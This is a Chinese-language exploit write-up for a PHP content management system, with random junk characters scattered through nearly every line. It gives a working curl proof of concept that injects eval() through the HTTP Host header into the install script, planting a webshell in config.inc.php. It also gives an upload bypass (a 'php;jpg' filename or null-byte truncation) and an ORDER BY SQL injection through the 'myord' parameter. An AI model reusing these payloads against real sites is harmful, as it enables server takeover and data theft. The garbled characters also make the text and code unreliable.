注入:1 `( Q- B) B2 n1 `9 P- U. n- ^3 \
% U0 C& F% u$ w- V. I3 ]
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码/ p* V/ d5 x' q# |8 a" W
4 ~. d6 p/ W0 N3 q/ r3 O1 y( O" q鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
, q1 T+ d% d, w# t7 k* m* t鸡肋2: 有一定安全常识的站长都会删掉 install 目录
+ a8 _7 O, |0 M. ?" ~
& z, s; @; `8 b4 A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
6 n% X7 q4 [, v# c; y/ r& @ 8 W9 f0 q2 Y. k6 A- l1 E
分析:8 g. Z8 B9 [" X% p& [
% b5 q8 g# x6 A1 \
( B1 L* T- q* t/ c
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
, X. u" e( K0 x# l! T6 m2 F / u" J1 f9 b$ V* A# G- v) T
$filestr = fread(fopen($SysConfigFile, 'r'),30000);0 h# }. @+ v: v' o; j9 R
$filestr=str_replace(" ","",$filestr);% D) h: M! G* @* F
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);* S1 W2 m" f' ?
$filestr=str_replace("DefaultDbName",$dbname,$filestr);: O, u; D. g# U5 B6 g% U
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 g& O: J& q3 a0 `% B! k $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
2 Q- s7 u) I. {* U! n $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 C. M* s/ ?2 p; I+ q M2 \7 J2 O
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
; c1 R8 o9 ]8 E c! f8 Z# E $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
" v6 F3 q8 X+ Q/ g- [6 G! t* b
" B( i* u. `1 E fwrite(fopen($ConFile,"w"),$filestr,30000);; Z: c- }# E- p3 }# w" o
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^ U* R3 h% h4 p9 Y# [: n- i
4 j2 F$ y. C3 d6 E" l6 v, e* Rpoc:
! i% Z4 {# e: l
. A3 J: r+ r0 Y: y9 r% K?$ P1 j/ L9 O( Z( C
1
3 S1 L' p/ ~( T9 S3 ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# r/ s' {! h0 N, t" J! ]& T+ h8 H
shell地址: /config.inc.php
8 ^% ?" X- Q5 b8 O) k- \1 g跟之前的 phpcms一样 需要远程数据库
* `3 o7 \& ^- l' o2 K ! a4 R# d0 c& A2 i9 h9 q
——————————————————–7 t5 L7 H) z* N0 z
上传漏洞(需要进后台):. ]8 u8 U/ X, T+ f
漏洞文件: /kedit/upload_cgi/upload.php
3 u, b8 z6 e: e! p这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用/ T i8 G: _0 p+ d+ d; A4 a
# P4 H3 o" g, r
" m; D" N% q, u$ M2 S( e<?php
1 y& @+ k/ ^4 r4 n+ I7 M define("ROOTPATH", "../../");
$ a4 } p% a1 O0 \ include(ROOTPATH."includes/admin.inc.php");' _5 F5 B8 T/ o; w- v7 w
NeedAuth(0);
5 f, H& t" x" h$ O0 G9 h: E$ y
$ t- J3 w1 j, G N" a $dt=date("Ymd",time());8 J8 k/ `& S0 @, D0 e
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 E! @& ~: _! I4 y/ [5 u @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, `7 H- R: t0 K! b }
* s( p3 H7 `3 _+ _, w. N . n- M/ K a7 U) \! o5 U
//文件保存目录路径' f' P0 g6 e/ c1 Z' f" B
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( j+ L5 U5 k) w
echo $save_path;
' z) k! I$ b* r; ^8 H' z% @# J //文件保存目录URL, [& B5 P& Q/ e* `$ y1 A
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
( d( F* Q0 ] N7 u2 s3 j3 N2 p: R
( j& g9 v# b$ @ //定义允许上传的文件扩展名
! k4 f6 z5 @0 i9 H- Y% q- ^# _ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
$ Z Q" q c5 ]
0 f/ a( W S( J- i$ l* {. G //最大文件大小
" @; J+ Q' R# d $max_size = 1000000;
/ C; W0 R8 z1 W3 M
; G! D4 v+ S6 |" |7 J7 O5 c //更改目录权限
/ \' ]& T1 x% p9 I @mkdir($save_path, 0777);
! |2 d6 h0 ]" P$ k
+ t- p1 H6 A7 i( Z* N //文件的全部路径0 D' H# J: n5 r: d7 G& d
$file_path = $save_path.$_POST['fileName']; //保存文件名
7 S+ M2 e2 G0 n" c- q
* E! r2 w8 Z1 a) F+ {' A //文件URL
: |' i; A9 S7 `2 U0 B $file_url = $save_url.$_POST['fileName'];# z- x I+ w7 ^9 u2 s( {# y/ G
//有上传文件时
6 q" V% C) z! y+ A if (empty($_FILES) === false) {) L. h% b, m: w+ u8 O
1 d9 c" _; ~3 c0 E1 [( {7 q. ^ m //原文件名
7 N: d y/ b$ P8 m $file_name = $_FILES['fileData']['name'];" U+ I" s/ i$ v, c( j' H. c Q l
//服务器上临时文件名. w* ^3 w1 T4 f; @* P8 \, Y1 U5 ?" b
$tmp_name = $_FILES['fileData']['tmp_name'];
2 d1 s9 I z- }4 K0 j# W) p //文件大小; ]$ e) B- }: O8 a% k1 u
$file_size = $_FILES['fileData']['size'];
( F$ k6 @, Q- E" M9 N5 H2 V O //检查目录
3 J y V9 L0 | if (@is_dir($save_path) === false) {
K! Y! H/ E. L: A5 F; \4 m! x! Z alert("上传目录不存在。");
- z9 D$ y( B2 ~- r* {" H }$ ^9 u8 ]/ m! r$ {. ~
//检查目录写权限: Z! A" x' ?* ?- T; J/ O
if (@is_writable($save_path) === false) {+ R9 U% P9 O8 [
alert("上传目录没有写权限。");# P" E9 j& j; d* c) `6 h
}
: o) G2 r! d+ k; Q; `3 b8 W //检查是否已上传
f! f9 E3 w) r# g0 A# l4 z$ a5 j if (@is_uploaded_file($tmp_name) === false) {( W: R4 H+ i/ V8 M0 m6 h& v
alert("临时文件可能不是上传文件。");9 Z# x7 _6 ~( M$ ]7 s6 u+ _
}
2 @3 ~$ [5 m$ u9 `. h1 l1 \ //检查文件大小7 a2 ], S M+ s$ }5 X
if ($file_size > $max_size) {& T: _4 o0 r$ \
alert("上传文件大小超过限制。"); B' f0 y$ v/ q3 w- B( {: y
}
' v- L8 u) e( \4 h6 U' f //获得文件扩展名
9 F% C. d) k- J" w. R% m Z/ F) U0 B $temp_arr = explode(".", $_POST['fileName']);
3 k. Y. d: E _6 Q- n $file_ext = array_pop($temp_arr);# J$ O( k6 c% e' n( O
$file_ext = trim($file_ext);% e0 d- j0 g8 s3 a8 V
$file_ext = strtolower($file_ext);4 H3 ?3 u1 U: M9 Y+ R$ j; O9 c- P1 |+ O
% K6 r. m: z8 D& W0 \/ g //检查扩展名
3 x/ G* P5 ?' F. F1 j1 n+ g7 i if (in_array($file_ext, $ext_arr) === false) {
9 k* \0 H3 A3 n1 F alert("上传文件扩展名是不允许的扩展名。");
3 M: x7 ^$ ]" I9 r7 _3 X) N0 H }; t% w- K8 m6 D
4 E$ T0 T" d6 ^3 g# K //移动文件 $ `* X( w$ g3 t9 W- Q- k
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^! n4 u. U% G- S/ M0 h
if (move_uploaded_file($tmp_name, $file_path) === false) {7 ^8 M! C4 I1 i8 _" I# ?
alert("上传文件失败。");
* O8 p: B {- ?1 U" I }
1 [) c5 k& _: k. b/ X
5 [9 h7 e" ~7 r1 c/ O @chmod($file_path,0666);
4 ~2 n5 O3 t. S1 g( w/ a' r ( M4 K1 G! S: }8 y- i6 W: z
?>8 p7 y+ @1 i4 B. B6 v
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
# e$ z. v0 z8 S8 x, v: h2 R: Z T1 C* q: f7 G1 z% m- R
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
$ z u9 }% a2 a* S0 I ) X0 x) N7 m$ G- o! _% ]. |" M
——————————————————
# D5 w& S. W" G2 u( l' H注入漏洞:
" \ J" G8 n8 C2 D: A M漏洞文件:search/module/search.php. v {8 f2 _" V- v
/search/index.php?key=1&myord=1 [sqlinjection]
- V O3 h/ h% o2 Y. n. A/ o- b 5 m- f5 L, i* _4 q# U) b& w
% _4 Z. k* Q6 Q<?php0 s- w% ?- V& v4 u! M& ]
// ... 省略 n 行...% \. \- \) c8 V8 _6 a: Q/ h! h
//第18行:) t4 E0 X6 f7 P$ p
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
# D% |4 G3 z9 |$ ^0 }4 \ $page=htmlspecialchars($_GET["page"]);) I5 j- K! [: b/ j; U
$myord=htmlspecialchars($_GET["myord"]);
9 r6 m! y. t3 ~# q5 x: H" k " K } p) C. R. ^ y9 R, M/ M F6 n
// ... 省略 n 行...0 o5 p1 n) b' r, e
$key,$myord 两个参数带入查询6 \0 W3 |3 T ` U4 h4 ]7 ?
//第47行 $key:
5 w4 [/ }) w; T- D$ K- t " ] ^' v) n+ `% o y
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
p/ b9 a/ r2 w : H ^$ V6 y" V$ A! ] x! X
//第197行 $myord
; M# j- G t5 @/ n1 ~ $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. x O* h* b$ K. C
+ y& l' e% Y) E4 q: O e5 T
?>! z$ t6 U3 S6 M6 ~- ]9 p
|